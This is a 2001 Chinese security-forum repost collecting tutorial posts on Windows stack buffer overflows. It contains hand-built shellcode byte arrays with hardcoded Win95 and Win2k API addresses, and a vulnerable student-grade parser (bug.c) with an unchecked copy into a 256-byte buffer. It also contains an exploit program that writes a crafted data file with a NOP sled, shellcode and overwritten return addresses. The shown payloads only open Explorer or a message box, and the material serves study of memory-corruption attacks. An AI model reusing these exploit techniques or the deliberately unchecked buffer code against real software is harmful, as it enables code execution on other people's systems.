【例子】WIN平台缓冲溢出程序编写

创建时间:2001-06-30
文章属性:转载
文章来源:http://go4.163.com/watercloud/
文章提交:quack (quack_at_xfocus.org)

post by cloud (safesuite@263.net)

最近刚研究了WIN平台的溢出,在openlab(61.150.43.7) VC版贴过.后来整理了一下

下载win_of.zip

题目有:    
    01 一种函数跳转方式
    02 Re 一种函数跳转方式.txt
    03 Re Re 一种函数跳转方式.txt
    04 在C中嵌入机器码的一种方式.txt
    05 Re 在C中嵌入机器码的一种方式.txt
    06 C程序中执行机器码的另一方式_缓冲溢出.txt
    07 C程序中执行机器码的另一方式_缓冲溢出2 For Win2k.txt
    08 Win平台上如何写ShellCode.txt
    09 缓冲边界未作检查的BUG程序.txt
    10 攻击上一个BUG程序.txt
    11 溢出程序说明.txt
    12 针对BUG_C Win2k下的溢出程序.txt
    13 windows下越界一个字节也能导致溢出攻击.txt
    14 另一种溢出方式 JMP ESP.txt
    15 若将Bug_c中memcpy改为strcpy后的攻击方法.txt
    16 改为strcpy后对bug_c的攻击程序For_win2k.txt
    17 如果一个网络服务器程序没有检查边界的话 _ _.txt
    18 攻击上一个bug_service_c的攻击程序.txt
    19 在Solaris For Spac芯片上的溢出.txt
    20 Solaris For Spac上的栈情况.txt
    21 脱离AppWizard和ClassWizard使用MFC.txt

------------------------------------------------------------------------------------------------------

【Visual C++】:一种函数跳转方式一种函数跳转方式


             cloud (cloud) 2001-6-12 18:25:35
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

#include<windows.h>
int t(int x,int y)
{

 _asm
 {
  
  mov eax,dword ptr[ebp+8]
  add eax,dword ptr[ebp+12]
  
 }
}
int test(int x,int y)
{
 _asm
 {
  pop edi
  pop esi
  pop ebx
  pop ebp
  
  push offset t

  ret 0
 }

}

int main()
{
 printf(" 30+40 = %i/n",test(30,40));
 return 0;
}
            -----------
【Visual C++】:Re: 一种函数跳转方式Re: 一种函数跳转方式


             cloud (cloud) 2001-6-13 16:28:30
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏


            调用test后在test中修改了堆栈返回地址为t的入口地址
            test返回后实际上就进入了t()此时堆栈已经是正常调用t
            的形态,返回地址为调用test应该正确返回的地址,因此
            实际上调用了t并在t中完成了加运算.之后正确返回!


            【在 SmallHill (小山) 的大作中提到:】
            can you give a explain o k ? thanks.【在 cloud (cloud)
            -----------
【Visual C++】:Re: 一种函数跳转方式Re: 一种函数跳转方式


             cloud (cloud) 2001-6-15 19:57:33
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

;cl /Fa t.c  编译完成,一切正常没有出现错误!
;另由于我英语很烂,能不能说中文,这样可能大家好交流一下.

 TITLE t.c
 .386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
$$SYMBOLS SEGMENT BYTE USE32 'DEBSYM'
$$SYMBOLS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
 ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif

INCLUDELIB LIBC
INCLUDELIB OLDNAMES

PUBLIC _t
; Function compile flags: /Odt
_TEXT SEGMENT
_x$ = 8
_y$ = 12
_t PROC NEAR
; File c:/work/asm-c/t.c
; Line 3
 push ebp
 mov ebp, esp
; Line 8
 mov eax, DWORD PTR [ebp+8]
; Line 9
 add eax, DWORD PTR [ebp+12]
; Line 12
 pop ebp
 ret 0
_t ENDP
_TEXT ENDS
PUBLIC _test
; Function compile flags: /Odt
_TEXT SEGMENT
_x$ = 8
_y$ = 12
_test PROC NEAR
; Line 14
 push ebp
 mov ebp, esp
 push ebx
 push esi
 push edi
; Line 17
 pop edi
; Line 18
 pop esi
; Line 19
 pop ebx
; Line 20
 pop ebp
; Line 22
 push OFFSET FLAT:_t
; Line 24
 ret 0
; Line 27
 pop edi
 pop esi
 pop ebx
 pop ebp
 ret 0
_test ENDP
_TEXT ENDS
PUBLIC _main
EXTRN _printf:NEAR
_DATA SEGMENT
$SG52880 DB ' 30+40 = %i', 0aH, 00H
; Function compile flags: /Odt
_DATA ENDS
_TEXT SEGMENT
_main PROC NEAR
; Line 30
 push ebp
 mov ebp, esp
; Line 31
 push 40     ; 00000028H
 push 30     ; 0000001eH
 call _test
 add esp, 8
 push eax
 push OFFSET FLAT:$SG52880
 call _printf
 add esp, 8
; Line 32
 xor eax, eax
; Line 33
 pop ebp
 ret 0
_main ENDP
_TEXT ENDS
END
.

【在 SmallHill (小山) 的大作中提到:】
please look at the following  pa...

※编辑: cloud 于 2001-6-15 20:01:04 在 [202.117.82.4] 编辑本文
            -----------
【Visual C++】:在C中嵌入机器码的一种方式在C中嵌入机器码的一种方式


             cloud (cloud) 2001-6-15 20:16:10
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

以下程序用VC6.0 CL编译器编译
编译参数 :  cl test.c /link kernel32.lib

程序在Win95下测试通过,运行结果:打开一个资源管理器
简要说明:
机器码在程序函数test中buffer里
在test中通过
push addr buffer  ; push ebp-80
ret 0
跳入机器码

这段代码如下工作
push addr string1 ; string1 : "shell32.dll"
call    LoadLibrary

invoke ShellExecute  NULL,addr string2,0,0,0,5  ;   string2 : "open"   打开资源管理器

push addr ExitProcess
ret 0                                 ;结束进程

#include<stdio.h>
#include<windows.h>
int test()
{
// Follow Addr Tested on Windows95
//LoadLibrary    Addr: 0BFF775F3h
//GetProcAddress Addr: 0BFF76DD8h
//ShellExecute   Addr: 07FDE9211h
//ExitProcess    Addr: 0bff8b191h

 char buffer[80]=
 {

    0xEB,0x1E,    //jmp         @call
    0x5D,     //pop  ebp                      @jm
    0x55,     //push        ebp
    0xFF,0x55,0x11,    //call        dword ptr [ebp+11h]
    0x6A,0x05,    //push        5
    0x6A,0x00,    //push        0
    0x6A,0x00,    //push        0
    0x6A,0x00,    //push        0
    0x8B,0xC5,    //mov         eax,ebp
    0x83,0xC0,0x0C,    //add         eax,0Ch
    0x50,     //push        eax
    0x6A,0x00,    //push        0
    0xFF,0x55,0x15,    //call        dword ptr [ebp+15h]
    0x68,0x91,0xB1,0xF8,0xBF,          //push        0BFF8B191h  ExitProcess  地址
    0xC3,     //ret
    0xE8,0xDD,0xFF,0xFF,0xFF,                 //call        @jm               @call
    's','h','e','l','l','3','2','.','d','l','l',0,
                                  'o','p','e','n',0,
    0xf3,0x75,0xf7,0xbf,            //LoadLibrary   地址
    0x11,0x92,0xde,0x7f             //ShellExecute  地址
 };
 _asm
 {
  pop edi
  pop esi
  pop ebx
  
  sub ebp,80
  push ebp
  ret 0

 }
}
void main()
{
 

 HINSTANCE hw = LoadLibrary("user32.dll");
// FARPROC fp = GetProcAddress(hw,"ShellExecute");
// ShellExecute(0,"open",0,0,0,5);
// printf("ShellExecute addr :%p",ShellExecute);
/* printf("LoadLibrary Addr :%p/n",LoadLibrary);
 fp = GetProcAddress(hw,"GetProcAddress");
 printf("GetProcAddress Addr: %p/n",fp);
 printf("GetProcAddress Addr: %p/n",GetProcAddress);
*/
 printf("%i/n",test());

}
            -----------


【Visual C++】:Re: 在C中嵌入机器码的一种方式Re: 在C中嵌入机器码的一种方式


             cloud (cloud) 2001-6-16 18:15:50
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

test() 正确返回代码已经被我截获
test()
{
}
对应为:
;test()
;{
     push ebp       
     mov ebp,esp  ; 现在ebp+4  处为test返回地址
     sub  esp,80     ;为buffer[80]留空间           过ebp-80处为buffer[0]地址

     . . . . . . .


    ;  test()准备返回
    add esp,80    ;修正esp     dword ptr [ esp] 为 保存的ebp值    dword ptr[esp+4] 为 test返回地址
    pop ebp        ;现在栈顶为test返回值    
    ret 0             ;返回调用test的main函数中
  
;}


_asm
{
}
对应汇编为
;_asm
;{
    push ebx
    push esi
    push edi


    . . . .
  
    pop edi
    pop esi
    pop ebx
  
;}

现在是
test()
{
    char buffer[80];
    _asm
   {
        pop edi     ;抵消 _asm进入时加入的三个push
        pop esi
        pop ebx
       
        sub ebp,80   ;ebp现在为buffer入口
        push ebp     ;现在栈顶为buffer入口地址  下条ret 将以此地址作为返回地址,进入buffer
        ret 0            ;进入buffer ,注意ret 之后esp+80也是buffer尾部  esp+84是ebp  esp+88是test
                           ;正确返回地址
   }
}
在buffer中的代码有如下  这部分相当是test()函数最后准备返回时的代码,参加上面test()

add   esp,80   ;现在栈顶是ebp 
pop  ebp        ;现在栈顶是test返回地址
ret    0           ;正确返回  好了又回到了main()

还有win32中是32位已经是在同一个线性空间cs;ss;ds等已经失去dos下ss:sp   cs:ip
等功能,而是直接在空间中以eip, esp等来寻址  当然用能到堆栈中执行

真正有难度的东东是机器嘛那一段,想想里面有需要的string,而且还要string的地址
解觉办法是依赖jmp   和call  ,他们都是用相对当前地址跳转,尤其是call 会保存下一条指令地址
我们把string放在call的下面call调用后就会在栈顶压入string的地址  ^_*

那段机器码如下
  jmp   sh_call     ;在sh_call处是 call sh_jm    有回来了!!  但此时已压入了string的地址
 
sh_jm:
 
  pop  ebp        ; ebp中为string的地址

  . . . . . . .

sh_call:
 
  call  sh_jm
  string db  . . . .


编译参数没什么意义就是让程序能编译通过

附cl产生的汇编程序
都可以在  ftp://202.117.82.4/asm/asm-c/下找到

; Listing generated by Microsoft (R) Optimizing Compiler Version 13.00.8905

 TITLE shellcode2.c
 .386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS ENDS
$$SYMBOLS SEGMENT BYTE USE32 'DEBSYM'
$$SYMBOLS ENDS
_TLS SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS ENDS
FLAT GROUP _DATA, CONST, _BSS
 ASSUME CS: FLAT, DS: FLAT, SS: FLAT
endif

INCLUDELIB LIBC
INCLUDELIB OLDNAMES

PUBLIC _test
; Function compile flags: /Odt
_TEXT SEGMENT
_buffer$ = -80
_test PROC NEAR
; File c:/work/asm-c/shellcode2.c
; Line 4
 push ebp
 mov ebp, esp
 sub esp, 80     ; 00000050H
 push ebx
 push esi
 push edi
; Line 14
 mov BYTE PTR _buffer$[ebp], -21  ; ffffffebH
 mov BYTE PTR _buffer$[ebp+1], 36  ; 00000024H
; Line 15
 mov BYTE PTR _buffer$[ebp+2], 93  ; 0000005dH
; Line 16
 mov BYTE PTR _buffer$[ebp+3], 104  ; 00000068H
 mov BYTE PTR _buffer$[ebp+4], -57  ; ffffffc7H
 mov BYTE PTR _buffer$[ebp+5], -3  ; fffffffdH
 mov BYTE PTR _buffer$[ebp+6], 99  ; 00000063H
 mov BYTE PTR _buffer$[ebp+7], 0
; Line 17
 mov BYTE PTR _buffer$[ebp+8], -1
 mov BYTE PTR _buffer$[ebp+9], 85  ; 00000055H
 mov BYTE PTR _buffer$[ebp+10], 17  ; 00000011H
; Line 19
 mov BYTE PTR _buffer$[ebp+11], -125  ; ffffff83H
 mov BYTE PTR _buffer$[ebp+12], -8  ; fffffff8H
 mov BYTE PTR _buffer$[ebp+13], 0
; Line 20
 mov BYTE PTR _buffer$[ebp+14], 116  ; 00000074H
 mov BYTE PTR _buffer$[ebp+15], 17  ; 00000011H
; Line 22
 mov BYTE PTR _buffer$[ebp+16], 106  ; 0000006aH
 mov BYTE PTR _buffer$[ebp+17], 5
; Line 23
 mov BYTE PTR _buffer$[ebp+18], 106  ; 0000006aH
 mov BYTE PTR _buffer$[ebp+19], 0
; Line 24
 mov BYTE PTR _buffer$[ebp+20], 106  ; 0000006aH
 mov BYTE PTR _buffer$[ebp+21], 0
; Line 25
 mov BYTE PTR _buffer$[ebp+22], 106  ; 0000006aH
 mov BYTE PTR _buffer$[ebp+23], 0
; Line 28
 mov BYTE PTR _buffer$[ebp+24], -125  ; ffffff83H
 mov BYTE PTR _buffer$[ebp+25], -59  ; ffffffc5H
 mov BYTE PTR _buffer$[ebp+26], 12  ; 0000000cH
; Line 29
 mov BYTE PTR _buffer$[ebp+27], 85  ; 00000055H
; Line 30
 mov BYTE PTR _buffer$[ebp+28], 106  ; 0000006aH
 mov BYTE PTR _buffer$[ebp+29], 0
; Line 32
 mov BYTE PTR _buffer$[ebp+30], -1
 mov BYTE PTR _buffer$[ebp+31], 85  ; 00000055H
 mov BYTE PTR _buffer$[ebp+32], 9
; Line 34
 mov BYTE PTR _buffer$[ebp+33], -125  ; ffffff83H
 mov BYTE PTR _buffer$[ebp+34], -60  ; ffffffc4H
 mov BYTE PTR _buffer$[ebp+35], 80  ; 00000050H
; Line 35
 mov BYTE PTR _buffer$[ebp+36], 93  ; 0000005dH
; Line 36
 mov BYTE PTR _buffer$[ebp+37], -61  ; ffffffc3H
; Line 37
 mov BYTE PTR _buffer$[ebp+38], -24  ; ffffffe8H
 mov BYTE PTR _buffer$[ebp+39], -41  ; ffffffd7H
 mov BYTE PTR _buffer$[ebp+40], -1
 mov BYTE PTR _buffer$[ebp+41], -1
 mov BYTE PTR _buffer$[ebp+42], -1
; Line 38
 mov BYTE PTR _buffer$[ebp+43], 115  ; 00000073H
 mov BYTE PTR _buffer$[ebp+44], 104  ; 00000068H
 mov BYTE PTR _buffer$[ebp+45], 101  ; 00000065H
 mov BYTE PTR _buffer$[ebp+46], 108  ; 0000006cH
 mov BYTE PTR _buffer$[ebp+47], 108  ; 0000006cH
 mov BYTE PTR _buffer$[ebp+48], 51  ; 00000033H
 mov BYTE PTR _buffer$[ebp+49], 50  ; 00000032H
 mov BYTE PTR _buffer$[ebp+50], 46  ; 0000002eH
 mov BYTE PTR _buffer$[ebp+51], 100  ; 00000064H
 mov BYTE PTR _buffer$[ebp+52], 108  ; 0000006cH
 mov BYTE PTR _buffer$[ebp+53], 108  ; 0000006cH
 mov BYTE PTR _buffer$[ebp+54], 0
; Line 39
 mov BYTE PTR _buffer$[ebp+55], 111  ; 0000006fH
 mov BYTE PTR _buffer$[ebp+56], 112  ; 00000070H
 mov BYTE PTR _buffer$[ebp+57], 101  ; 00000065H
 mov BYTE PTR _buffer$[ebp+58], 110  ; 0000006eH
 mov BYTE PTR _buffer$[ebp+59], 0
; Line 40
 mov BYTE PTR _buffer$[ebp+60], -13  ; fffffff3H
 mov BYTE PTR _buffer$[ebp+61], 117  ; 00000075H
 mov BYTE PTR _buffer$[ebp+62], -9  ; fffffff7H
 mov BYTE PTR _buffer$[ebp+63], -65  ; ffffffbfH
; Line 41
 mov BYTE PTR _buffer$[ebp+64], 17  ; 00000011H
 mov BYTE PTR _buffer$[ebp+65], -110  ; ffffff92H
 mov BYTE PTR _buffer$[ebp+66], -34  ; ffffffdeH
; Line 42
 mov BYTE PTR _buffer$[ebp+67], 127  ; 0000007fH
 xor eax, eax
 mov DWORD PTR _buffer$[ebp+68], eax
 mov DWORD PTR _buffer$[ebp+72], eax
 mov DWORD PTR _buffer$[ebp+76], eax
; Line 46
 pop edi
; Line 47
 pop esi
; Line 48
 pop ebx
; Line 55
 sub ebp, 80     ; 00000050H
; Line 56
 push ebp
; Line 57
 ret 0
; Line 60
 pop edi
 pop esi
 pop ebx
 mov esp, ebp
 pop ebp
 ret 0
_test ENDP
_TEXT ENDS
PUBLIC _main
EXTRN _printf:NEAR
_DATA SEGMENT
$SG53167 DB '%i', 0aH, 00H
; Function compile flags: /Odt
_DATA ENDS
_TEXT SEGMENT
_main PROC NEAR
; Line 62
 push ebp
 mov ebp, esp
; Line 75
 call _test
 push eax
 push OFFSET FLAT:$SG53167
 call _printf
 add esp, 8
; Line 77
 xor eax, eax
 pop ebp
 ret 0
_main ENDP
_TEXT ENDS
END


※编辑: cloud 于 2001-6-16 18:47:15 在 [202.117.82.4] 编辑本文
            -----------
【Visual C++】:C程序中执行机器码的另一方式_缓冲溢出C程序中执行机器码的另一方式_缓冲溢出


             cloud (cloud) 2001-6-27 11:04:29
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

下列程序在test( )中memcpy后造成buffer越界覆盖了test的返回地址
我们在buff中返回地址处填入了buffer开始处附近的地址,并在buffer前部放入大量NOP指令
这样test( ) 返回时我们的机器码将被执行
运行结果:  打开一个资源管理器.

/*
Name :   Self_Ex.c
Testd :   Windows95

   by cloud 2001-6-3

*/
#include <windows.h>

char shellcode[92]= 
{
 0xEB,0x38,0x5D,0x33,0xc0,0x66,0xb8,0xe8,0x03,0x2b,0xe0,0x33,
 0xC0,0x88,0x45,0x0B,0x88,0x45,0x10,0x88,0x45,0x1b,0x55,0xFF,
 0x55,0x11,0x33,0xDB,0x3B,0xC3,0x74,0x14,0x6A,0x05,0x53,0x53,
 0x55,0x58,0x83,0xc0,0x19,0x50,0x83,0xC5,0x0C,0x55,0x33,0xDB,
 0x53,0xFF,0x55,0x09,0x68,0x91,0xb1,0xf8,0xbf,0xC3,0xE8,0xc3,
 0xFF,0xFF,0xFF,
 's','h','e','l','l','3','2','.','d','l','l','0',
 'o','p','e','n','0',
 0xf3,0x75,0xf7,0xbf,
 0x11,0x92,0xde,0x7f,
 'c',':','0','/0'
};
char buff[500];
char message[100];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
DWORD getesp()
{
 __asm mov eax,esp
}
void test()
{
 char buffer[256];
 memcpy(buffer,buff,sizeof(buff));

}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 addr = getesp();
 addr = addr - 200;
 
 cp = (unsigned char *) buff;
 for(i=0;i<256 - 92 ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i<92;i++,cp++)
 {
  *cp = shellcode[i];
 }
 lp = (unsigned long *)cp;
 for(i=0;i<40; i++,lp++)
 {
  * lp = addr;
 }

 test();
 MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
 return 0;
}
            -----------
【Visual C++】:C程序中执行机器码的另一方式_缓冲溢出2 For Win2kC程序中执行机器码的另一方式_缓冲溢出2 For
            Win2k


             cloud (cloud) 2001-6-27 11:10:40
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

如下程序同上
运行结果同于期望值,机器码被执行.
机器码执行结果:  弹出Message对话筐显示: From Binnar Code.  然后调用ExitProcess( )

/*
Name : Self_Ex_win2k.c
Test   : Win2k pro sp1
     by cloud 2001-6-12
*/
#include <windows.h>
#include <stdio.h>
char file_buffer[500];
int i;
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
unsigned char shellcode[108]= 
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
DWORD getesp()
{
 __asm mov eax,esp
 __asm add eax,8
}
void test()
{
 char line_buffer[256];
 addr = getesp();    //addr  --  addr + buffer_len -shellcode_len  : NOP
 addr = addr + 256 - sizeof(shellcode) -8;
 cp = (unsigned char *) line_buffer;
 for(i=0;i<256 - sizeof(shellcode) ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i< sizeof(shellcode);i++,cp++)
 {
  *cp = shellcode[i];
 }
 lp = (unsigned long *)cp;
 * lp = addr;
 lp++;
 * lp = addr;
 //MessageBox(0,"Test END,RETURN!","Test",0);
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 test();
 MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
 return 0;
}
            -----------
【Visual C++】:Win平台上如何写ShellCodeWin平台上如何写ShellCode


             cloud (cloud) 2001-6-27 19:59:39
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

Unix上shellcode的编写已经讲了很多文章了
windows上也基本相同

不过编写前我们得要知道我们所须的系统调用的地址
如何得到地址??
很简单

#include<windows.h>
#include<stdio.h>
char buffer[256];
void main()
{
       sprintf(buffer,"MessageBoxA: %p/nExitProcess:  %p/nLoadLibraryA  %
p/n",MessageBoxA,ExitProcess,LoadLibraryA);   //哈哈,看到没又是一个不严格的检查  ^_*
     MessageBox(0,buffer,"ADDR",0);
}

编译  cl   addr.c  /link  user32.lib

运行吧!  看到了什么?? 快记录下来吧!!
For Win2k pro sp1
;//LoadLibraryA     77e67273         For Win95 0BFF775F3h
;//MessageBoxA    77e0737e          For Win95 0BFF638D9h
;//ExitProcess       77e6f32d           For Win95 0bff8b191h


有了地址又如何?  看看下列汇编吧!!
不过得记住最后的机器码中不能有/0  /n等特殊字符,所以得要吧很多东东改改
如user32.dll/0  中的/0就不行而是用'0' 然后在汇编中mov   一个 0进去!!

 jmp ca
jm:
 
 pop ebp             ;得到字符窜的起始地址
 xor eax,eax       ;以下三行是为了  sub esp,1000  但直接的sub esp,1000 中有两个/0  没办法改为3行
 mov ax,1000    ;想想为何要 -1000   ;当看看这段代码执行时esp在其顶部一点点,没几个push
 sub esp,eax      ;就把自己给覆盖了行吗??? 当然要 -1000 了

 xor ebx,ebx                 ;以下的4行是为了mov byte ptr[ebp+ebx],al  因为其偏移为/n 没办法改改就
 mov bl,12                   ; 成了现在这样
 dec ebx
 dec ebx

 xor eax,eax                       ;以下4行是给字符窜尾附/0
 
 mov byte ptr[ebp+ebx],al    
 mov byte ptr[ebp+18],al
 mov byte ptr[ebp+36],al
 
 push 0BFF775F3h                         ;LoadLibraryA
 push ebp                                     ;LoadLibrayA的参数指向"user32.dll"
 call DWORD ptr[esp+4]              ;调用LoadLibraryA


 xor ebx,ebx
 push ebx           ; MB_OK
 mov eax,ebp
 add eax,11         ; message title
 push eax
 add eax,8
 push eax          ; "From Binnar Code."
 push ebx           ;NULL
 push 0bff8b191h   ;ExitProcess return by MessageBoxA
 push 0BFF638D9h   ;MessageBoxA     
 ret 0                         ;返回到MessageBoxA   而MessageBoxA返回时看看,到了 ExitProcess
ca: 
 call jm
  db "user32.dll",'0  '               ; 10+1
  db "MESSAGE",'0 '                   ; 7+1 
  db "From Binnar Code.",'0'          ; 17+1

放到汇编里编译然后

   dumpbin /disasm    ??.exe      > a.txt
 用记事本打开a.txt  看看我们就能得到所要的机器码:弹出对话筐显示信息,然后退出进程
整理以下就可以得到如下机器码

char shellcode[108]= 
{
 0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
 0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
 0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
 0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
 0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
 0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
 0xFF ,0xFF ,0xFF,
 'u','s','e','r','3','2','.','d','l','l','0',
 'M','E','S','S','A','G','E','0',
 'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};

最后3个'N'是填充,因为分配空间为4的辈数所以我们的code也为4的辈数比较好写溢出程序啦

※编辑: cloud 于 2001-6-27 20:04:14 在 [202.117.82.4] 编辑本文
            -----------
【Visual C++】:缓冲边界未作检查的BUG程序缓冲边界未作检查的BUG程序


             cloud (cloud) 2001-6-27 11:21:20
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

当程序在检查缓冲区长度上做的不好时往往使用strcpy等函数,没有检查buffer长度.
这就给我们可成之机.

如下列程序 本来进行文本文件处理__学生成绩
默认是每行一个信息包含:   姓名:学好:语文成绩:数学成绩: . . . . /n
在main()中将整个文件或前500字节读入file_buffer
后调用test()  test()本意是处理一行  一个学生信息.
当打开的文件是学生正常数据文件时一切正常,但想想我们把该文件删除后
自己精心制作一个文件改名同于数据文件名会如何
^_&

/*  
Name : bug.c
    by cloud 2001-6-4
*/

#include <windows.h>
#include <stdio.h>
char file_buffer[500];
int i;
void test()
{
 char line_buffer[256];
 for(i=0;file_buffer[i]!='/n'; line_buffer[i]=file_buffer[i++] );

}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 FILE * f = fopen("datafile.dat","rb");
 long len;
 if(f == NULL)
 {
  MessageBox(0,"打开文件失败!","WinMain BUG",MB_OK);
  return -1;
 }
 fseek(f,0,SEEK_END);
 len = ftell(f);
 fseek(f,0,SEEK_SET);
 if(len > sizeof(file_buffer))
  len = sizeof(file_buffer);
 if( fread(file_buffer,1,len,f) != len)
 {
  MessageBox(0,"读文件失败!","WinMain BUG",MB_OK);
  fclose(f);
  return -2;
 }
 fclose(f);

 test();
 MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
 return 0;
}
            -----------
【Visual C++】:攻击上一个BUG程序攻击上一个BUG程序


             cloud (cloud) 2001-6-27 11:28:08
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

我们通过如下程序精心制作一个数据文件让bug.c去处理
结果将使得我们的机器码被执行,执行结果为:打开一个资源管理器,然后调用ExitProcess()
程序基本点:每个程序执行到main()时栈区起始地址相同,由此来猜测对方buffer地址,然后用此地址
覆盖返回地址,由于可能不精确,故在buffer开始处放入大量NOP指令,只要到达NOP区域就可保证
我们的机器码被执行.

运行时先用此程序生成数据文件,再将数据文件拷入bug.exe目录,再执行bug.exe就可以看到资源
管理器.

编译参数: bug.c   ex_bug.c    
  cl file_name.c /link user32.lib

/*
Name :  Ex_bug.c
Tested: Windows95
    by cloud 2001-6-4
*/
#include <windows.h>
#include <stdio.h>
char shellcode[92]= 
{
 0xEB,0x38,0x5D,0x33,0xc0,0x66,0xb8,0xe8,0x03,0x2b,0xe0,0x33,
 0xC0,0x88,0x45,0x0B,0x88,0x45,0x10,0x88,0x45,0x1b,0x55,0xFF,
 0x55,0x11,0x33,0xDB,0x3B,0xC3,0x74,0x14,0x6A,0x05,0x53,0x53,
 0x55,0x58,0x83,0xc0,0x19,0x50,0x83,0xC5,0x0C,0x55,0x33,0xDB,
 0x53,0xFF,0x55,0x09,0x68,0x91,0xb1,0xf8,0xbf,0xC3,0xE8,0xc3,
 0xFF,0xFF,0xFF,
 's','h','e','l','l','3','2','.','d','l','l','0',
 'o','p','e','n','0',
 0xf3,0x75,0xf7,0xbf,
 0x11,0x92,0xde,0x7f,
 'c',':','0','/0'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
DWORD getesp()
{
 __asm mov eax,esp
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 FILE * f = fopen("datafile.dat","wb");
 if(f == NULL)
 {
  MessageBox(0,"打开文件失败!","WinMain Ex",MB_OK);
  return -1;
 }
 addr = getesp();
 addr = addr - 200;
 
 cp = (unsigned char *) buff;
 for(i=0;i<256 - 92 ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i<92;i++,cp++)
 {
  *cp = shellcode[i];
 }
 lp = (unsigned long *)cp;
 for(i=0;i<40; i++,lp++)
 {
  * lp = addr;
 }
 cp = (char *)lp;
 *cp = '/n';
 
 if(fwrite(buff,1,sizeof(buff),f) != sizeof(buff))
  MessageBox(0,"写文件失败!","WinMain Ex",MB_OK);
 fclose(f);
 return 0;
}
            -----------
【Visual C++】:溢出程序说明溢出程序说明


             cloud (cloud) 2001-6-27 11:32:58
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

溢出前堆栈如下

高地址 ----  > 低地址
[ret][ebp][buffer]
ret:函数返地址回

溢出后如下


[ret][ebp][ (  binnar_code)(NOP NOP NOP .....)]
   |                                              |
   ---------------------------------------
【Visual C++】:针对BUG.C Win2k下的溢出程序针对BUG.C Win2k下的溢出程序


             cloud (cloud) 2001-6-28 18:44:36
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

/*  bug.c   
*/
#include <windows.h>
#include <stdio.h>
char file_buffer[500];
int i;
char buff[256];
void test()
{
 char line_buffer[256];
 /* . . . .*/
 memcpy(line_buffer,file_buffer,sizeof(file_buffer));
 /* . . . . */
}
